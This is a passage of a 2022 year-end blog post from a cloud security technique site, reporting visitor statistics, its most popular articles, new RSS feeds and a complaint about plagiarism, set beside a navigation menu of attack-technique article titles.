class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6 checked> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=true> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=./ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#numbers class=md-nav__link> <span class=md-ellipsis> Numbers </span> </a> </li> <li class=md-nav__item> <a href=#most-popular-articles class=md-nav__link> <span class=md-ellipsis> Most Popular Articles </span> </a> </li> <li class=md-nav__item> <a href=#rss-feeds class=md-nav__link> <span class=md-ellipsis> RSS Feeds! </span> </a> </li> <li class=md-nav__item> <a href=#plagiarism class=md-nav__link> <span class=md-ellipsis> Plagiarism </span> </a> </li> <li class=md-nav__item> <a href=#mastodon class=md-nav__link> <span class=md-ellipsis> Mastodon </span> </a> </li> <li class=md-nav__item> <a href=#plans-for-the-future class=md-nav__link> <span class=md-ellipsis> Plans for the Future </span> </a> </li> <li class=md-nav__item> <a href=#conclusion class=md-nav__link> <span class=md-ellipsis> Conclusion </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/blog/2022_wrap-up.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>2022 Wrap-up</h1> <aside style=display:flex> <p><a class=glightbox href="https://avatars.githubusercontent.com/u/10386884?v=4" data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src="https://avatars.githubusercontent.com/u/10386884?v=4" style=width:44px;height:44px;margin:5px;border-radius:100%></a></p> <p><span><strong>Nick Frichette</strong> · @frichette_n · <a href=https://twitter.com/Frichette_n><span class="twemoji twitter"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg></span></a></span> <br> <span> <span class=twemoji><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M6.75 0a.75.75 0 0 1 .75.75V3h9V.75a.75.75 0 0 1 1.5 0V3h2.75c.966 0 1.75.784 1.75 1.75v16a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75v-16C1.5 3.784 2.284 3 3.25 3H6V.75A.75.75 0 0 1 6.75 0M21 9.5H3v11.25c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25Zm-17.75-5a.25.25 0 0 0-.25.25V8h18V4.75a.25.25 0 0 0-.25-.25Z"/></svg></span> December 14, 2022 </span></p> </aside> <hr> <p>2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, <a href=https://hackingthe.cloud/aws/capture_the_flag/cicdont/ >CTF</a>! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.</p> <h2 id=numbers>Numbers<a class=headerlink href=#numbers title="Permanent link">&para;</a></h2> <p>I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:</p> <ul> <li>625 stars gained on GitHub</li> <li>225 commits committed</li> <li>73,925 visits</li> <li>124,278 page views</li> <li>6,408 average monthly visitors (excluding December)</li> <li>9,763 average monthly visitors in the past quarter!</li> </ul> <p><a class=glightbox href=../../images/blog/2022_wrap-up/monthly_visitors.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Monthly visitor graph" src=../../images/blog/2022_wrap-up/monthly_visitors.png></a></p> <p>November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's <a href=https://developers.google.com/search/docs/appearance/google-discover>Discover</a>.</p> <p>Compared to 2021, visitor count has increased over <code>94%</code>! (Note: 2022 is not over, hence the dotted line for 2022)</p> <p><a class=glightbox href=../../images/blog/2022_wrap-up/yearly_visitors.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Yearly visitor graph" src=../../images/blog/2022_wrap-up/yearly_visitors.png></a></p> <p>We have also reached 17 <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/graphs/contributors>contributors</a> officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.</p> <h2 id=most-popular-articles>Most Popular Articles<a class=headerlink href=#most-popular-articles title="Permanent link">&para;</a></h2> <p>Some more numbers; this time the most popular articles along with page views:</p> <ol> <li><a href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ >Steal EC2 Metadata Credentials via SSRF</a> - 10,963 page views!</li> <li><a href=https://hackingthe.cloud/aws/capture_the_flag/cicdont/ >CI/CDon't</a> - 5,842 page views.</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ >AWS Organizations Defaults</a> - 5,325 page views.</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ >Connection Tracking</a> - 5,209 page views.</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >Using Stolen IAM Credentials</a> - 5,043 page views.</li> </ol> <p>Once again, the <a href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ >Steal EC2 Metadata Credentials via SSRF</a> article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic. </p> <p><a href=https://hackingthe.cloud/aws/capture_the_flag/cicdont/ >CI/CDon't</a> was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.</p> <p><a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >Using Stolen IAM Credentials</a> ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a "playbook" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?</p> <h2 id=rss-feeds>RSS Feeds!<a class=headerlink href=#rss-feeds title="Permanent link">&para;</a></h2> <p>If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the <a href=https://guts.github.io/mkdocs-rss-plugin/ >mkdocs-rss-plugin</a>. The <a href=https://hackingthe.cloud/feed_rss_created.xml>created</a> feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an <a href=https://hackingthe.cloud/feed_rss_updated.xml>updated</a> feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).</p> <p>Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.</p> <h2 id=plagiarism>Plagiarism<a class=headerlink href=#plagiarism title="Permanent link">&para;</a></h2> <p>Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.</p> <table> <thead> <tr> <th style="text-align: center;">Hacking the Cloud</th> <th style="text-align: center;">Copy</th> </tr> </thead> <tbody> <tr> <td style="text-align: center;"><a class=glightbox href=../../images/blog/2022_wrap-up/example_1_original.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt src=../../images/blog/2022_wrap-up/example_1_original.png></a></td> <td style="text-align: center;"><a class=glightbox href=../../images/blog/2022_wrap-up/example_1_copy.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt src=../../images/blog/2022_wrap-up/example_1_copy.png></a></td> </tr> <tr> <td style="text-align: center;"><a class=glightbox href=../../images/blog/2022_wrap-up/example_2_original.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt src=../../images/blog/2022_wrap-up/example_2_original.png></a></td> <td style="text-align: center;"><a class=glightbox href=../../images/blog/2022_wrap-up/example_2_copy.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt src=../../images/blog/2022_wrap-up/example_2_copy.png></a></td> </tr> </tbody> </table> <p>As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project. </p> <p>Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and 